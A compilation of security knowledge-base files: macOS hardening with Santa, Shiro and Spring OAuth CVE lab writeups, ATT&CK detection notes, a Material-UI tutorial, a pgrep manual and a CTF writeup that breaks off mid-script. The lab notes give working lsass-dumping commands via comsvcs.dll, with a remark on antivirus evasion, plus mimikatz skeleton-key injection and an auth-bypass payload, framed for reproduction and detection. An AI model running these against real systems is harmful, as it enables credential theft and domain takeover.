> EOF
```
Compile the program with GCC (requires installation of Xcode or command-line tools):
```console
$ gcc -o foo foo.c
$ file foo
foo: Mach-O 64-bit executable x86_64
$ codesign -d foo
foo: code object is not signed at all
```
Run it:
```console
$ ./foo
Hello World
```
Toggle Santa into "Lockdown" mode, which only allows whitelisted binaries to run:
$ sudo defaults write /var/db/santa/config.plist ClientMode -int 2
Try to run the unsigned binary:
```console
$ ./foo
bash: ./foo: Operation not permitted
Santa
The following application has been blocked from executing
because its trustworthiness cannot be determined.
Path: /Users/demouser/foo
Identifier: 4e11da26feb48231d6e90b10c169b0f8ae1080f36c168ffe53b1616f7505baed
Parent: bash (701)
```
To whitelist a specific binary, determine its SHA-256 sum:
```console
$ santactl fileinfo /Users/demouser/foo
Path : /Users/demouser/foo
SHA-256 : 4e11da26feb48231d6e90b10c169b0f8ae1080f36c168ffe53b1616f7505baed
SHA-1 : 4506f3a8c0a5abe4cacb98e6267549a4d8734d82
Type : Executable (x86-64)
Code-signed : No
Rule : Blacklisted (Unknown)
```
Add a whitelist rule:
```console
$ sudo santactl rule --whitelist --sha256 4e11da26feb48231d6e90b10c169b0f8ae1080f36c168ffe53b1616f7505baed
Added rule for SHA-256: 4e11da26feb48231d6e90b10c169b0f8ae1080f36c168ffe53b1616f7505baed.
```
Run it:
```console
$ ./foo
Hello World
```
It's allowed and works!
Applications can also be whitelisted by developer certificate (so that new binary versions will not need to be manually whitelisted on each update). For example, download and run Google Chrome - it will be blocked by Santa in "Lockdown" mode:
```console
$ curl -sO https://dl.google.com/chrome/mac/stable/GGRO/googlechrome.dmg
$ hdiutil mount googlechrome.dmg
$ cp -r /Volumes/Google\ Chrome/Google\ Chrome.app /Applications/
$ open /Applications/Google\ Chrome.app/
LSOpenURLsWithRole() failed with error -10810 for the file /Applications/Google Chrome.app.
```
Whitelist the application by its developer certificate (first item in the Signing Chain):
```console
$ santactl fileinfo /Applications/Google\ Chrome.app/
Path : /Applications/Google Chrome.app/Contents/MacOS/Google Chrome
SHA-256 : 0eb08224d427fb1d87d2276d911bbb6c4326ec9f74448a4d9a3cfce0c3413810
SHA-1 : 9213cbc7dfaaf7580f3936a915faa56d40479f6a
Bundle Name : Google Chrome
Bundle Version : 2883.87
Bundle Version Str : 55.0.2883.87
Type : Executable (x86-64)
Code-signed : Yes
Rule : Blacklisted (Unknown)
Signing Chain:
1. SHA-256 : 15b8ce88e10f04c88a5542234fbdfc1487e9c2f64058a05027c7c34fc4201153
SHA-1 : 85cee8254216185620ddc8851c7a9fc4dfe120ef
Common Name : Developer ID Application: Google Inc.
Organization : Google Inc.
Organizational Unit : EQHXZ8M8AV
Valid From : 2012/04/26 07:10:10 -0700
Valid Until : 2017/04/27 07:10:10 -0700
2. SHA-256 : 7afc9d01a62f03a2de9637936d4afe68090d2de18d03f29c88cfb0b1ba63587f
SHA-1 : 3b166c3b7dc4b751c9fe2afab9135641e388e186
Common Name : Developer ID Certification Authority
Organization : Apple Inc.
Organizational Unit : Apple Certification Authority
Valid From : 2012/02/01 14:12:15 -0800
Valid Until : 2027/02/01 14:12:15 -0800
3. SHA-256 : b0b1730ecbc7ff4505142c49f1295e6eda6bcaed7e2c68c5be91b5a11001f024
SHA-1 : 611e5b662c593a08ff58d14ae22452d198df6c60
Common Name : Apple Root CA
Organization : Apple Inc.
Organizational Unit : Apple Certification Authority
Valid From : 2006/04/25 14:40:36 -0700
Valid Until : 2035/02/09 13:40:36 -0800
```
In this case, `15b8ce88e10f04c88a5542234fbdfc1487e9c2f64058a05027c7c34fc4201153` is the SHA-256 of Google’s Apple developer certificate (team ID EQHXZ8M8AV). To whitelist it:
```console
$ sudo santactl rule --whitelist --certificate --sha256 15b8ce88e10f04c88a5542234fbdfc1487e9c2f64058a05027c7c34fc4201153
Added rule for SHA-256: 15b8ce88e10f04c88a5542234fbdfc1487e9c2f64058a05027c7c34fc4201153.
```
Google Chrome should now launch, and subsequent updates to the application will continue to work as long as the code signing certificate doesn’t change or expire.
To disable "Lockdown" mode:
```console
$ sudo defaults delete /var/db/santa/config.plist ClientMode
```
See `/var/log/santa.log` to monitor ALLOW and DENY execution decisions.
A log and configuration server for Santa is available in [Zentral](https://github.com/zentralopensource/zentral), an open source event monitoring solution and TLS server for osquery and Santa.
Zentral will support Santa in both MONITORING and LOCKDOWN operation mode. Clients need to be enrolled with a TLS connection to sync Santa Rules, all Santa events from endpoints are aggregated and logged back in Zentral. Santa events can trigger actions and notifications from within the Zentral Framework.
**Note** Python, Bash and other interpreters are whitelisted (since they are signed by Apple's developer certificate), so Santa will not be able to block such scripts from executing. Thus, a potential non-binary program which disables Santa is a weakness (not vulnerability, since it is so by design) to take note of.
## Miscellaneous
Disable [Diagnostics & Usage Data](https://github.com/fix-macosx/fix-macosx/wiki/Diagnostics-&-Usage-Data).
If you want to play **music** or watch **videos**, use [VLC media player](https://www.videolan.org/vlc/index.html) which is free and open source.
If you want to use **torrents**, use [Transmission](https://www.transmissionbt.com/download/) which is free and open source (note: like all software, even open source projects, [malware may still find its way in](http://researchcenter.paloaltonetworks.com/2016/03/new-os-x-ransomware-keranger-infected-transmission-bittorrent-client-installer/)). You may also wish to use a block list to avoid peering with known bad hosts - see [Which is the best blocklist for Transmission](https://giuliomac.wordpress.com/2014/02/19/best-blocklist-for-transmission/) and [johntyree/3331662](https://gist.github.com/johntyree/3331662).
Manage default file handlers with [duti](http://duti.org/), which can be installed with `brew install duti`. One reason to manage extensions is to prevent auto-mounting of remote file systems in Finder (see [Protecting Yourself From Sparklegate](https://www.taoeffect.com/blog/2016/02/apologies-sky-kinda-falling-protecting-yourself-from-sparklegate/)). Here are several recommended file handlers to manage:
```console
$ duti -s com.apple.Safari afp
$ duti -s com.apple.Safari ftp
$ duti -s com.apple.Safari nfs
$ duti -s com.apple.Safari smb
$ duti -s com.apple.TextEdit public.unix-executable
```
Monitor system logs with the **Console** application or `syslog -w` or `/usr/bin/log stream` commands.
In systems prior to macOS Sierra (10.12), enable the [tty_tickets flag](https://derflounder.wordpress.com/2016/09/21/tty_tickets-option-now-on-by-default-for-macos-sierras-sudo-tool/) in `/etc/sudoers` to restrict the sudo session to the Terminal window/tab that started it. To do so, use `sudo visudo` and add the line `Defaults tty_tickets`.
Set your screen to lock as soon as the screensaver starts:
```console
$ defaults write com.apple.screensaver askForPassword -int 1
$ defaults write com.apple.screensaver askForPasswordDelay -int 0
```
Expose hidden files and Library folder in Finder:
```console
$ defaults write com.apple.finder AppleShowAllFiles -bool true
$ chflags nohidden ~/Library
```
Show all filename extensions (so that "Evil.jpg.app" cannot masquerade easily).
```console
$ defaults write NSGlobalDomain AppleShowAllExtensions -bool true
```
Don't default to saving documents to iCloud:
```console
$ defaults write NSGlobalDomain NSDocumentSaveNewDocumentsToCloud -bool false
```
Enable [Secure Keyboard Entry](https://security.stackexchange.com/questions/47749/how-secure-is-secure-keyboard-entry-in-mac-os-xs-terminal) in Terminal (unless you use [YubiKey](https://mig5.net/content/secure-keyboard-entry-os-x-blocks-interaction-yubikeys) or applications such as [TextExpander](https://smilesoftware.com/textexpander/secureinput)).
Disable crash reporter (the dialog which appears after an application crashes and prompts to report the problem to Apple):
```console
$ defaults write com.apple.CrashReporter DialogType none
```
Disable Bonjour [multicast advertisements](https://www.trustwave.com/Resources/SpiderLabs-Blog/mDNS---Telling-the-world-about-you-(and-your-device)/):
```console
$ sudo defaults write /Library/Preferences/com.apple.mDNSResponder.plist NoMulticastAdvertisements -bool YES
```
[Disable Handoff](https://apple.stackexchange.com/questions/151481/why-is-my-macbook-visibile-on-bluetooth-after-yosemite-install) and Bluetooth features, if they aren't necessary.
Consider [sandboxing](https://developer.apple.com/legacy/library/documentation/Darwin/Reference/ManPages/man1/sandbox-exec.1.html) your applications. See [fG! Sandbox Guide](https://reverse.put.as/wp-content/uploads/2011/09/Apple-Sandbox-Guide-v0.1.pdf) (pdf) and [s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles).
Did you know Apple has not shipped a computer with TPM since [2006](http://osxbook.com/book/bonus/chapter10/tpm/)?
macOS comes with this line in `/etc/sudoers`:
```
Defaults env_keep += "HOME MAIL"
```
Which stops sudo from changing the HOME variable when you elevate privileges. This means it will execute as root the bash dotfiles in the non-root user's home directory when you run "sudo bash". It is advisable to comment this line out to avoid a potentially easy way for malware or a local attacker to escalate privileges to root.
If you want to retain the convenience of the root user having a non-root user's home directory, you can append an export line to /var/root/.bashrc, e.g.:
```console
export HOME=/Users/blah
```
Set a [custom umask](https://support.apple.com/en-us/HT201684):
```console
$ sudo launchctl config user umask 077
```
Reboot, create a file in Finder and verify its permissions (macOS default allows 'group/other' read access):
```console
$ ls -ld umask*
drwx------ 2 kevin staff 64 Dec 4 12:27 umask_testing_dir
-rw-------@ 1 kevin staff 2026566 Dec 4 12:28 umask_testing_file
```
## Related software
* [CISOfy/lynis](https://github.com/CISOfy/lynis) - Cross-platform security auditing tool and assists with compliance testing and system hardening.
* [Dylib Hijack Scanner](https://objective-see.com/products/dhs.html) - Scan for applications that are either susceptible to dylib hijacking or have been hijacked.
* [F-Secure XFENCE](https://campaigns.f-secure.com/xfence/) (formerly [Little Flocker](https://github.com/drduh/macOS-Security-and-Privacy-Guide/pull/237)) - "Little Snitch for files"; prevents applications from accessing files.
* [Lockdown](https://objective-see.com/products/lockdown.html) - Audits and remediates security configuration settings.
* [Zentral](https://github.com/zentralopensource/zentral) - A log and configuration server for santa and osquery. Run audit and probes on inventory, events, logfiles, combine with point-in-time alerting. A full Framework and Django web server build on top of the elastic stack (formerly known as ELK stack).
* [facebook/osquery](https://github.com/facebook/osquery) - Can be used to retrieve low level system information. Users can write SQL queries to retrieve system information.
* [google/grr](https://github.com/google/grr) - Incident response framework focused on remote live forensics.
* [jipegit/OSXAuditor](https://github.com/jipegit/OSXAuditor) - Analyzes artifacts on a running system, such as quarantined files, Safari, Chrome and Firefox history, downloads, HTML5 databases and localstore, social media and email accounts, and Wi-Fi access point names.
* [kristovatlas/osx-config-check](https://github.com/kristovatlas/osx-config-check) - Checks your OSX machine against various hardened configuration settings.
* [libyal/libfvde](https://github.com/libyal/libfvde) - Library to access FileVault Drive Encryption (FVDE) (or FileVault2) encrypted volumes.
* [stronghold](https://github.com/alichtman/stronghold) - Securely and easily configure your Mac from the terminal. Inspired by this guide.
* [yelp/osxcollector](https://github.com/yelp/osxcollector) - Forensic evidence collection & analysis toolkit for OS X.
* [The Eclectic Light Company - Downloads](https://eclecticlight.co/downloads/) - A collection of useful diagnostics and control applications and utilities for macOS.
* [Pareto Security](https://paretosecurity.app/) - A MenuBar app to automatically audit your Mac for basic security hygiene.
## Additional resources
* [Apple Open Source](https://opensource.apple.com/)
* [Auditing and Exploiting Apple IPC](https://googleprojectzero.blogspot.com/2015/09/revisiting-apple-ipc-1-distributed_28.html)
* [CIS Benchmarks](https://www.cisecurity.org/benchmark/apple_os/)
* [Demystifying the DMG File Format](http://newosxbook.com/DMG.html)
* [Developing Mac OSX kernel rootkits](http://phrack.org/issues/66/16.html#article)
* [EFF Surveillance Self-Defense Guide](https://ssd.eff.org/)
* [Fuzzing the macOS WindowServer for Exploitable Vulnerabilities](https://blog.ret2.io/2018/07/25/pwn2own-2018-safari-sandbox/)
* [Hacker News discussion 2](https://news.ycombinator.com/item?id=13023823)
* [Hacker News discussion](https://news.ycombinator.com/item?id=10148077)
* [Harden the World: Mac OSX 10.11 El Capitan](https://docs.hardentheworld.org/OS/OSX_10.11_El_Capitan/)
* [Hidden backdoor API to root privileges in Apple OS X](https://truesecdev.wordpress.com/2015/04/09/hidden-backdoor-api-to-root-privileges-in-apple-os-x/)
* [How to Switch to the Mac](https://taoofmac.com/space/HOWTO/Switch)
* [IOKit kernel code execution exploit](https://code.google.com/p/google-security-research/issues/detail?id=135)
* [IPv6 Hardening Guide for OS X](http://www.insinuator.net/2015/02/ipv6-hardening-guide-for-os-x/)
* [Mac Developer Library: Secure Coding Guide](https://developer.apple.com/library/mac/documentation/Security/Conceptual/SecureCodingGuide/Introduction.html)
* [Mac Forensics: Mac OS X and the HFS+ File System](https://cet4861.pbworks.com/w/file/fetch/71245694/mac.forensics.craiger-burke.IFIP.06.pdf) (pdf)
* [Mac OS X Forensics - Technical Report](https://www.ma.rhul.ac.uk/static/techrep/2015/RHUL-MA-2015-8.pdf) (pdf)
* [Mac OS X and iOS Internals: To the Apple's Core by Jonathan Levin](https://www.amazon.com/Mac-OS-iOS-Internals-Apples/dp/1118057651)
* [MacOS Hardening Guide - Appendix of \*OS Internals: Volume III - Security & Insecurity Internals](http://newosxbook.com/files/moxii3/AppendixA.pdf) (pdf)
* [Managing Macs at Google Scale (LISA '13)](https://www.usenix.org/conference/lisa13/managing-macs-google-scale)
* [OS X 10.10 Yosemite: The Ars Technica Review](https://arstechnica.com/apple/2014/10/os-x-10-10/)
* [OS X Core Technologies Overview White Paper](https://www.apple.com/osx/all-features/pdf/osx_elcapitan_core_technologies_overview.pdf) (pdf)
* [OS X Hardening: Securing a Large Global Mac Fleet (LISA '13)](https://www.usenix.org/conference/lisa13/os-x-hardening-securing-large-global-mac-fleet)
* [OSX.Pirrit Mac Adware Part III: The DaVinci Code](https://www.cybereason.com/blog/targetingedge-mac-os-x-pirrit-malware-adware-still-active)
* [Over The Air - Vol. 2, Pt. 1: Exploiting The Wi-Fi Stack on Apple Devices](https://googleprojectzero.blogspot.com/2017/09/over-air-vol-2-pt-1-exploiting-wi-fi.html)
* [Patrick Wardle's Objective-See blog](https://objective-see.com/blog.html)
* [Remote code execution, git, and OS X](https://rachelbythebay.com/w/2016/04/17/unprotected/)
* [Reverse Engineering Mac OS X blog](https://reverse.put.as/)
* [Reverse Engineering Resources](http://samdmarshall.com/re.html)
* [The EFI boot process](https://web.archive.org/web/20160508052211/http://homepage.ntlworld.com/jonathan.deboynepollard/FGA/efi-boot-process.html)
* [The Great DOM Fuzz-off of 2017](https://googleprojectzero.blogspot.be/2017/09/the-great-dom-fuzz-off-of-2017.html)
* [The Intel Mac boot process](http://refit.sourceforge.net/info/boot_process.html)
* [The macOS Phishing Easy Button: AppleScript Dangers](https://duo.com/blog/the-macos-phishing-easy-button-applescript-dangers)
* [There's a lot of vulnerable OS X applications out there (Sparkle Framework RCE)](https://vulnsec.com/2016/osx-apps-vulnerabilities/)
* [Userland Persistence on Mac OS X](https://archive.org/details/joshpitts_shmoocon2015)
* [iCloud security and privacy overview](https://support.apple.com/kb/HT4865)
* [iSeeYou: Disabling the MacBook Webcam Indicator LED](https://jscholarship.library.jhu.edu/handle/1774.2/36569)
|
sec-knowleage
|
# Apache Shiro Authentication Bypass Vulnerability (CVE-2020-1957)
[中文版本(Chinese version)](README.zh-cn.md)
Apache Shiro is a powerful and easy-to-use Java security framework that performs authentication, authorization, cryptography, and session management.
In versions of Apache Shiro prior to 1.5.2 with the Spring dynamic controller, an attacker can construct a maliciously crafted request using `..;` to bypass the directory authentication.
Reference links:
- <https://github.com/apache/shiro/commit/3708d7907016bf2fa12691dff6ff0def1249b8ce#diff-98f7bc5c0391389e56531f8b3754081aL139>
- <https://xz.aliyun.com/t/8281>
- <https://blog.spoock.com/2020/05/09/cve-2020-1957/>
## Vulnerability environment
Start an application with Spring 2.2.2 and Shiro 1.5.1 by executing the following command.
```
docker compose up -d
```
Once the environment is started, visit ``http://your-ip:8080`` to see the home page.
The configuration of URL permissions in this application is as follows.
``` java
@Bean
public ShiroFilterChainDefinition shiroFilterChainDefinition() {
DefaultShiroFilterChainDefinition chainDefinition = new DefaultShiroFilterChainDefinition();
chainDefinition.addPathDefinition("/login.html", "authc"); // need to accept POSTs from the login form
chainDefinition.addPathDefinition("/logout", "logout");
chainDefinition.addPathDefinition("/admin/**", "authc");
return chainDefinition;
}
```
## Exploit
A direct request to the admin page `/admin/` is inaccessible and will be redirected to the login page.

Construct a malicious request `/xxx/..;/admin/` to bypass authentication checks and access the admin page.

|
sec-knowleage
|
# T1003-win-使用comsvcs.dll转储Lsass.exe内存
## 来自ATT&CK的描述
凭据转储是从操作系统和软件获取账号登录名和密码(哈希或明文密码)信息的过程。然后可以使用凭据来执行横向移动并访问受限制的信息。
攻击者和专业安全测试人员都可能会使用此技术中提到的几种工具。也可能存在其他自定义工具。
## 测试案例
comsvcs.dll,在系统崩溃时转储进程内存的系统窗口和系统32,通过rundll32编写,该dll包含函数MiniDump。
## 检测日志
- windows 安全日志
- windows Sysmon日志
- Windows Powershell日志
## 测试复现
```yml
powershell -c "rundll32 C:\windows\system32\comsvcs.dll, MiniDump 648 C:\AtomicRedTeam\lsass.dmp full"
#注意:这里648是lsass.exe的PID。
#通过命令tasklist | findstr lsass.exe查找PID值。
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
```
可直接调用rundll32进程(**需要Admin或Root权限**),在2021年2月一篇文章中提到通过修改comsvcs.dll路径或名称,可绕过火绒/360安全卫士,经过10月实际测试,无法绕过360安全卫士。
## 测试留痕
```log
#Powershell日志,事件ID:400
引擎状态已从 None 更改为 Available。
详细信息:
NewEngineState=Available
PreviousEngineState=None
SequenceNumber=13
HostName=ConsoleHost
HostVersion=5.1.14393.206
HostId=beebd53e-f854-42ea-8d25-a148d224b726
HostApplication=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c rundll32 C:\windows\system32\comsvcs.dll, MiniDump 648 C:\AtomicRedTeam\lsass.dmp full
EngineVersion=5.1.14393.206
RunspaceId=af860283-73a9-452c-a1cd-ea808dbaf232
PipelineId=
CommandName=
CommandType=
ScriptName=
CommandPath=
CommandLine=
```
```log
#windows安全日志,事件ID:4688
已创建新进程。
创建者主题:
安全 ID: QAX\Administrator
帐户名: Administrator
帐户域: QAX
登录 ID: 0xCF2BF2
目标主题:
安全 ID: NULL SID
帐户名: -
帐户域: -
登录 ID: 0x0
进程信息:
新进程 ID: 0x11020
新进程名称: C:\Windows\System32\rundll32.exe
令牌提升类型: %%1936
强制性标签: Mandatory Label\High Mandatory Level
创建者进程 ID: 0x1abc
创建者进程名称: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
进程命令行: "C:\Windows\system32\rundll32.exe" C:\windows\system32\comsvcs.dll MiniDump 648 C:\AtomicRedTeam\lsass.dmp full
“令牌提升类型”表示根据用户帐户控制策略分配给新进程的令牌类型。
类型 1 是未删除特权或未禁用组的完全令牌。完全令牌仅在禁用了用户帐户控制或者用户是内置管理员帐户或服务帐户的情况下使用。
类型 2 是未删除特权或未禁用组的提升令牌。当启用了用户帐户控制并且用户选择使用“以管理员身份运行”选项启动程序时,会使用提升令牌。当应用程序配置为始终需要管理特权或始终需要最高特权并且用户是管理员组的成员时,也会使用提升令牌。
类型 3 是删除了管理特权并禁用了管理组的受限令牌。当启用了用户帐户控制,应用程序不需要管理特权并且用户未选择使用“以管理员身份运行”选项启动程序时,会使用受限令牌。
```
## 检测规则/思路
重点关注rundll32进程的异常行为。由于dll名称可变,无法通过日志针对进程名称进行有效监测。
## 建议
安装终端防护似乎是个不错的选择。
## 参考推荐
MITRE-ATT&CK-T1003
<https://attack.mitre.org/techniques/T1003/>
comsvcs.dll转储lsass(过360卫士&火绒)
<https://www.cnblogs.com/Yang34/p/14418572.html>
Windows明文密码获取
<https://blog.csdn.net/xiangshen1990/article/details/104865393>
|
sec-knowleage
|
# Spring Security OAuth2 Remote Command Execution Vulnerability (CVE-2016-4977)
[中文版本(Chinese version)](README.zh-cn.md)
Spring Security OAuth provides support for using Spring Security with OAuth (1a) and OAuth2 using standard Spring and Spring Security programming models and configuration idioms.
In its use of whitelabel views for error handling, an remote attacker can execute commands by constructing malicious parameters through the Springs Expression Language (SpEL).
Reference links.
- http://secalert.net/#CVE-2016-4977
- https://deadpool.sh/2017/RCE-Springs/
- http://blog.knownsec.com/2016/10/spring-security-oauth-rce/
## Vulnerability environment
Execute the following command to start a Spring Security OAuth application.
```
docker compose up -d
```
After the server is started, browse the ``http://your-ip:8080/`` to see its home page.
## Exploit
Request to the `http://your-ip:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test`, first you need to fill in the username and password, we just fill in `admin:admin` here.
As you can see, SpEL expression `${233*233}` has been successfully executed and returned the result.

We then use [poc.py](poc.py) to generate an EXP for the [reverse shell](http://www.jackson-t.ca/runtime-exec-payloads.html):

As above, a long SpEL expression exploit is generated. Send the request with this SpEL exploit, a reverse shell is gained:

|
sec-knowleage
|
## Material-UI
Material-UI采用 Material Design风格的React UI组件。
### 配置环境
#### 首先需要React环境
#### 然后用`npm-package`安装material-ui的包
```
npm i material-ui --save
```
#### 安装依赖的包`react-tap-event-plugin`
`Material-UI`使用`react-tap-event-plugin`来监听`touch/tap/click`事件,使之得到快速的响应,这个插件是临时的,一旦React的官方发布相应的插件,我们将马上去掉。但是, 在那之前,你一定要在你的应用注入这个插件。
```
npm i react-tap-event-plugin@^2.0.1 --save
```
#### 安装`Roboto`的字体
Material-UI 采用 google Roboto 字体,所以请确保在项目中引入字体。
```
npm i typeface-roboto --save
```
### 引用
```
import 'typeface-roboto'
//导入`roboto`字体
import injectTapEventPlugin from 'react-tap-event-plugin'
//导入依赖
injectTapEventPlugin()
//启动时注入(执行)
```
```
import MuiThemeProvider from 'material-ui/styles/MuiThemeProvider'
//导入主题
import RaisedButton from 'material-ui/RaisedButton'
//导入需要使用的组件(这里我们使用一个按钮)
```
使用字体图标时需要引用`Material-Design-icon`
### 使用
这里就是简单引用一下,直接到官网去学习。
```
import React from 'react'
import { BrowserRouter,Route,Link } from 'react-router-dom'
import Btn from './Btn'
import MuiThemeProvider from 'material-ui/styles/MuiThemeProvider'
import RaisedButton from 'material-ui/RaisedButton'
import AppBar from 'material-ui/AppBar'
class App extends React.Component{
render(){
return(
<div>
<BrowserRouter>
<MuiThemeProvider>
<div className="app">
<Link to='/btn'>进入Btn</Link>
<Route path='/btn' component={Btn}/>
<RaisedButton label="Default" />
<AppBar title="Title" iconClassNameRight="muidocs-icon-navigation-expand-more"></AppBar>
</div>
</MuiThemeProvider>
</BrowserRouter>
</div>
)
}
}
export default App
```
### 参考
- Material-UI官网:[点击进入](http://www.material-ui.com)
- Material-UI中文网:[点击进入](http://design.1sters.com)
- 极客学院:[点击进入](http://wiki.jikexueyuan.com/project/material-design/layout/adaptive-ui.html)
|
sec-knowleage
|
pgrep
===
根据用户给出的信息在当前运行进程中查找并列出符合条件的进程ID(PID)
## 补充说明
**pgrep命令** 以名称为依据从运行进程队列中查找进程,并显示查找到的进程id。每一个进程ID以一个十进制数表示,通过一个分割字符串和下一个ID分开,默认的分割字符串是一个新行。对于每个属性选项,用户可以在命令行上指定一个以逗号分割的可能值的集合。
### 语法
```shell
pgrep(选项)(参数)
```
### 选项
```shell
-d, --delimiter <string>:指定输出的分隔符。
-l, --list-name:列出进程ID和进程名称。
-a, --list-full:列出进程ID和完整的命令行。
-v, --inverse:反向匹配,即只显示不匹配的进程。
-w, --lightweight:列出所有TID(轻量级线程)。
-c, --count:显示匹配的进程数量。
-f, --full:使用完整的进程名称进行匹配。
-g, --pgroup <PGID,...>:匹配指定的进程组ID。
-G, --group <GID,...>:匹配真实组ID。
-i, --ignore-case:忽略大小写进行匹配。
-n, --newest:选择最近启动的进程。
-o, --oldest:选择最早启动的进程。
-O, --older <seconds>:选择启动时间早于指定秒数的进程。
-P, --parent <PPID,...>:只匹配给定父进程的子进程。
-s, --session <SID,...>:匹配会话ID。
-t, --terminal <tty,...>:根据控制终端进行匹配。
-u, --euid <ID,...>:根据有效用户ID进行匹配。
-U, --uid <ID,...>:根据真实用户ID进行匹配。
-x, --exact:精确匹配进程名称。
-F, --pidfile <file>:从文件中读取PID。
-L, --logpidfile:如果PID文件没有锁定,则失败。
-r, --runstates <state>:匹配运行状态(D, S, Z等)。
--ns <PID>:匹配与指定PID相同命名空间的进程。
--nslist <ns,...>:列出将在 --ns 选项中考虑的命名空间。可用的命名空间包括:ipc、mnt、net、pid、user、uts。
```
### 参数
进程名称:指定要查找的进程名称,同时也支持类似grep指令中的匹配模式。
### 实例
```shell
pgrep -lo httpd
4557 httpd
[root@localhost ~]# pgrep -ln httpd
4566 httpd
[root@localhost ~]# pgrep -l httpd
4557 httpd
4560 httpd
4561 httpd
4562 httpd
4563 httpd
4564 httpd
4565 httpd
4566 httpd
[root@localhost ~]# pgrep httpd 4557
4560
4561
4562
4563
4564
4565
4566
[root@localhost ~]# pgrep -x httpd
4557
4560
4561
4562
4563
4564
4565
4566
```
|
sec-knowleage
|
# T1098-win-万能密码
## 来自ATT&CK的描述
帐户操作可以帮助攻击者维持在目标组织环境中对凭据或某些权限级别的访问权限。账户操作可能包括修改权限,修改凭据,添加或更改权限组,修改帐户设置或修改执行身份验证等方式。为了创建或操纵帐户,攻击者必须已经对系统或域具有足够的权限。
## 测试案例
使用万能密码(skeleton key),可以对域内权限进行持久化操作。
## 检测日志
windows 安全日志
## 测试复现
### 步骤1(PC上执行,普通域用户权限)
```dos
C:\Users\xiaomi>dir \\dc.xiaomi.org\c$
拒绝访问。
C:\Users\xiaomi>net use \\dc.xiaomi.org\ipc$ "admin.098" /user:xiaomi\administra
tor
命令成功完成。
C:\Users\xiaomi>dir \\dc.xiaomi.org\c$
驱动器 \\dc.xiaomi.org\c$ 中的卷没有标签。
卷的序列号是 50E9-7D0C
\\dc.xiaomi.org\c$ 的目录
2009/07/14 11:20 <DIR> PerfLogs
2020/03/23 15:24 <DIR> Program Files
2020/03/23 15:24 <DIR> Program Files (x86)
2020/03/23 14:47 <DIR> Users
2020/03/23 15:30 <DIR> Windows
0 个文件 0 字节
5 个目录 32,728,838,144 可用字节
C:\Users\xiaomi>net use
会记录新的网络连接。
状态 本地 远程 网络
-------------------------------------------------------------------------------
OK \\dc.xiaomi.org\ipc$ Microsoft Windows Network
命令成功完成。
C:\Users\xiaomi>net use \\dc.xiaomi.org\ipc$ /del /y
\\dc.xiaomi.org\ipc$ 已经删除。
C:\Users\xiaomi>net use
会记录新的网络连接。
列表是空的。
```
### 步骤2(DC上执行,管理员权限)
```dos
C:\Users\Administrator\Desktop\mimikatz_trunk\x64>mimikatz.exe "privilege::debug
" "misc::skeleton" exit
.#####. mimikatz 2.1.1 (x64) built on Apr 9 2017 23:24:20
.## ^ ##. "A La Vie, A L'Amour"
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 21 modules * * */
mimikatz(commandline) # privilege::debug
Privilege '20' OK
mimikatz(commandline) # misc::skeleton
[KDC] data
[KDC] struct
[KDC] keys patch OK
[RC4] functions
[RC4] init patch OK
[RC4] decrypt patch OK
mimikatz(commandline) # exit
Bye!
```
**系统提示Skeleton Key已经注入成功。此时,会在域内的所有账户中添加一个Skeleton key,其密码默认为“mimikatz”。接下来可以以域内任何用户的身份,配合该Skeleton Key,进行域内身份授权验证了。**
### 步骤3(PC上执行,普通域用户权限)
```dos
C:\Users\xiaomi>net use \\dc.xiaomi.org\ipc$ "mimikatz" /user:xiaomi\administrat
or
命令成功完成。
C:\Users\xiaomi>dir \\dc.xiaomi.org\c$
驱动器 \\dc.xiaomi.org\c$ 中的卷没有标签。
卷的序列号是 50E9-7D0C
\\dc.xiaomi.org\c$ 的目录
2009/07/14 11:20 <DIR> PerfLogs
2020/03/23 15:24 <DIR> Program Files
2020/03/23 15:24 <DIR> Program Files (x86)
2020/03/23 14:47 <DIR> Users
2020/03/23 15:30 <DIR> Windows
0 个文件 0 字节
5 个目录 32,758,198,272 可用字节
```
## 测试留痕
windows安全事件ID,多事件关联分析
## 检测规则/思路
### Sigma规则
```yml
title: Windows 万能密码
description: Windows server 2008 R2\win 7
references: https://0xsp.com/ad-attack-or-defense/ad-ttps-list
tags: T1098
status: 测试阶段
author: 12306Bro
logsource:
product: windows
service: security
detection:
selection1:
EventID: 4673 #调用权限的服务
selection2:
EventID: 4611 #受信任的登录进程已在本地安全机构注册
selection3:
EventID: 4688 #新进程创建
selection4:
EventID: 4689 #退出进程
condition: all of them
timeframe: last 5s
level: medium
```
### 建议
以上规则存在一定程度的不稳定性,谨慎使用!
## 相关TIP
[[Threathunting-book/8-凭证获取/T1098-win-账户操作]]
## 参考推荐
MITRE-ATT&CK-T1098
<https://attack.mitre.org/techniques/T1098/>
|
sec-knowleage
|
# McDonald
Web
## Description:
> Our web admin name's "Mc Donald" and he likes apples and always forgets to throw away his apple cores..
## Solution:
The website seems pretty empty, nothing much there.
Let's check for `robots.txt`:
```console
root@kali:/media/sf_CTFs/35c3ctf/McDonald# curl -s http://35.207.132.47:85/robots.txt
User-agent: *
Disallow: /backup/.DS_Store
```
What is this file (Source: [Wikipedia](https://en.wikipedia.org/wiki/.DS_Store))?
> In the Apple macOS operating system, .DS_Store is a file that stores custom attributes of its containing folder, such as the position of icons or the choice of a background image. The name is an abbreviation of Desktop Services Store, reflecting its purpose. It is created and maintained by the Finder application in every folder, and has functions similar to the file desktop.ini in Microsoft Windows. Starting with a full stop (period) character, it is hidden in Finder and many Unix utilities. Its internal structure is proprietary.
The format is proprietary but luckily someone published a [script](https://github.com/gehaxelt/Python-dsstore) to parse the file (and not just anyone - the challenge author!).
Here's the output for our file:
```
root@kali:/media/sf_CTFs/35c3ctf/McDonald/manual# python ~/utils/Python-dsstore/main.py .DS_Store
('Count: ', 20)
a
a
a
a
b
b
b
b
b
b
b
b
c
c
c
c
c
c
c
c
```
It looks like these are also folders, and that some of them contain a `.DS_Store` file as well.
Using this script, we can traverse the directory structure:
```python
import requests
import sys
import dsstore
